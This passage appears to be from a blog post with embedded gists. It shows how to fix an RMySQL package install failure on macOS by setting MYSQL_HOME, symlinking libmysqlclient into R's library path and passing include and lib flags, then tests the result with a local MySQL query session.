	Referenced from: /usr/local/Cellar/r/3.0.1/R.framework/Versions/3.0/Resources/library/RMySQL/libs/RMySQL.so
	Reason: image not found
	Error: loading failed
	Execution halted
	ERROR: loading failed
	* removing ‘/usr/local/Cellar/r/3.0.1/R.framework/Versions/3.0/Resources/library/RMySQL’
	sh-3.2# R CMD INSTALL /private/var/folders/n0/4_22_21n66x537xg2kdnc618m0j889/T/RtmpehnXuM/downloaded_packages/RMySQL_0.9-3.tar.gz -h
	Loading required package: stats
	Usage: R CMD INSTALL [options] pkgs

view raw gistfile1.txt hosted with ❤ by GitHub

Turns out that the right solution is really easy. Set your MySQL home R env var, make sure that libmysqlclient can be found by R, configure the RMySQL package with the proper inc & lib dirs for MySQL

	# Find your R home
	$ echo "R.home()" | Rscript /dev/stdin
	Loading required package: stats
	Loading required package: methods
	[1] "/usr/local/Cellar/r/3.0.1/R.framework/Resources"
	# Make sure that you have the MySQL home var in your Renviron
	$ fgrep MYSQL_HOME /usr/local/Cellar/r/3.0.1/R.framework/Resources/etc/Renviron
	MYSQL_HOME="/usr/local/mysql-5.6.12-osx10.7-x86_64/"
	#### This step trips up everyone ####
	# Make sure that the libmysqlclient dynamic lib is in your R lib path by
	# 1. Get the dll path
	$ echo "Sys.getenv('DYLD_FALLBACK_LIBRARY_PATH')" | Rscript /dev/stdin
	Loading required package: stats
	Loading required package: methods
	[1] "/usr/local/Cellar/r/3.0.1/R.framework/Resources/lib"
	# 2. Symlink your libmysqlclient
	$ ln -s /usr/local/mysql-5.6.12-osx10.7-x86_64/lib/libmysqlclient.18.dylib /usr/local/Cellar/r/3.0.1/R.framework/Resources/lib
	# 3. Install the package
	$ export PKG_LIBS="-L/usr/local/mysql-5.6.12-osx10.7-x86_64/lib/ -lmysqlclient"
	$ export PKG_CPPFLAGS="-I/usr/local/mysql-5.6.12-osx10.7-x86_64/include/"
	$ R CMD INSTALL RMySQL.tar.gz
	...
	...
	** installing vignettes
	** testing if installed package can be loaded
	* DONE (RMySQL)

view raw RMySQL_works.sh hosted with ❤ by GitHub

Tests!

	> library("RMySQL")
	Attaching package: ‘RMySQL’
	The following object is masked from ‘package:RSQLite’:
	dbBuildTableDefinition, isIdCurrent, safe.write
	> library("RMySQL")
	> m <- dbDriver("MySQL")
	> con <- dbConnect(m, user="root", host="localhost")
	> rs <- dbSendQuery(con, "show databases")
	> fetch(rs, n=100)
	Database
	1 information_schema
	2 xxxxxxxxxx
	3 mysql
	4 performance_schema
	5 test
	> rs <- dbSendQuery(con, "select * from information_schema.STATISTICS limit 5;")
	> fetch(rs, n=100)
	TABLE_CATALOG TABLE_SCHEMA TABLE_NAME NON_UNIQUE INDEX_SCHEMA INDEX_NAME SEQ_IN_INDEX COLUMN_NAME COLLATION CARDINALITY SUB_PART PACKED NULLABLE INDEX_TYPE COMMENT
	1 def mysql columns_priv 0 mysql PRIMARY 1 Host A NA NA <NA> BTREE
	2 def mysql columns_priv 0 mysql PRIMARY 2 Db A NA NA <NA> BTREE
	3 def mysql columns_priv 0 mysql PRIMARY 3 User A NA NA <NA> BTREE
	4 def mysql columns_priv 0 mysql PRIMARY 4 Table_name A NA NA <NA> BTREE
	5 def mysql columns_priv 0 mysql PRIMARY 5 Column_name A 0 NA <NA> BTREE
	INDEX_COMMENT

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